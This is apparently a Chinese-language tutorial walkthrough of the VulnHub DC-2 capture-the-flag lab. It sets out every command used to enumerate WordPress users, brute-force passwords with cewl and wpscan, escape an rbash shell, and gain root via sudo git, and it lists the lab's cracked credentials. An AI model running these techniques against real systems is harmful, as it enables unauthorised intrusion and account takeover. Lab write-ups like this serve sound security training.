VnlnHub DC-2
字数 1125 2025-08-12 11:34:27
DC-2 靶场渗透测试详细教学文档
靶场环境搭建
-
下载靶场镜像:
- 下载地址:https://www.vulnhub.com/entry/dc-2,311/
- 下载.OVA格式文件
-
导入虚拟机:
- 使用VMware直接导入.OVA文件
- 指定解压位置
-
网络配置:
- 网卡模式选择NAT
- 确保与攻击机Kali的网络设置一致
信息收集阶段
-
发现目标IP:
nmap -sP -T4 192.168.48.0/24- 扫描结果:192.168.48.137为靶机IP
-
端口扫描:
nmap -sS -sV -Pn 192.168.48.137- 初始扫描仅发现80端口开放
- 重要补充:全端口扫描发现7744端口运行SSH服务
nmap -p- 192.168.48.137
-
Web访问准备:
- 编辑Kali的hosts文件:
添加:vi /etc/hosts192.168.48.137 dc-2
- 编辑Kali的hosts文件:
Web渗透阶段
-
获取Flag1:
- 访问http://dc-2/获取第一个flag
- Flag1提示:
- 需要使用cewl生成密码字典
- 普通字典无效
- 需要通过登录获取下一个flag
-
目录扫描:
- 发现WordPress后台
-
用户枚举:
wpscan --url http://dc-2/ -e u- 发现三个用户:admin、jerry、tom
-
密码字典生成:
cewl http://dc-2/ -w dc2pass.txt -
爆破WordPress登录:
wpscan --url http://dc-2/ -U dc2user.txt -P dc2pass.txt- 成功爆破出密码:
- jerry: adipiscing
- tom: parturient
- 成功爆破出密码:
-
获取Flag2:
- 使用jerry登录WordPress后台
- 在Pages中找到Flag2
- Flag2提示:
- 如果不能利用WordPress,还有另外的方式
SSH服务利用
-
SSH登录:
ssh tom@192.168.48.137 -p 7744- 密码:parturient
-
受限Shell(rbash)环境:
- 发现常用命令被限制
- 可用命令:less、ls、scp、vi
-
查看Flag3:
vi flag3.txt- Flag3内容:
贫穷的老tom总是走在jerry后面,也许他应该su缓解他的压力 - 提示需要切换到jerry用户
- Flag3内容:
-
绕过rbash限制:
BASH_CMDS[a]=/bin/sh;a export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin -
切换用户:
su jerry- 密码:adipiscing
-
获取Flag4:
cd /home/jerry cat flag4.txt- Flag4内容:
很高兴你已经到达这,但是你还没有到家,你需要找到最后的flag,这你没有给你的提示
- Flag4内容:
权限提升阶段
-
检查sudo权限:
sudo -l- 发现git命令可以无密码以root权限执行
-
利用git提权:
sudo git -p help config !/bin/bash- 成功获取root shell
-
获取最终Flag:
cd /root cat final-flag.txt
关键知识点总结
-
信息收集:
- 必须进行全端口扫描(-p-)
- 注意修改hosts文件解决DNS解析问题
-
密码爆破:
- cewl工具生成针对性字典
- wpscan进行WordPress用户枚举和爆破
-
受限Shell绕过:
- 通过环境变量和BASH_CMDS绕过rbash限制
- 恢复PATH环境变量
-
权限提升:
- 检查sudo -l寻找可利用的特权命令
- git的help命令可执行shell命令
-
工具使用:
- nmap:网络扫描
- wpscan:WordPress漏洞扫描
- cewl:生成定制密码字典
- ssh:远程登录
完整命令参考
# 网络扫描
nmap -sP -T4 192.168.48.0/24
nmap -p- 192.168.48.137
# WordPress扫描
wpscan --url http://dc-2/ -e u
wpscan --url http://dc-2/ -U dc2user.txt -P dc2pass.txt
# 密码字典生成
cewl http://dc-2/ -w dc2pass.txt
# SSH登录
ssh tom@192.168.48.137 -p 7744
# 提权
sudo git -p help config
!/bin/bash
通过以上步骤,可以完整地完成DC-2靶场的渗透测试,获取所有flag。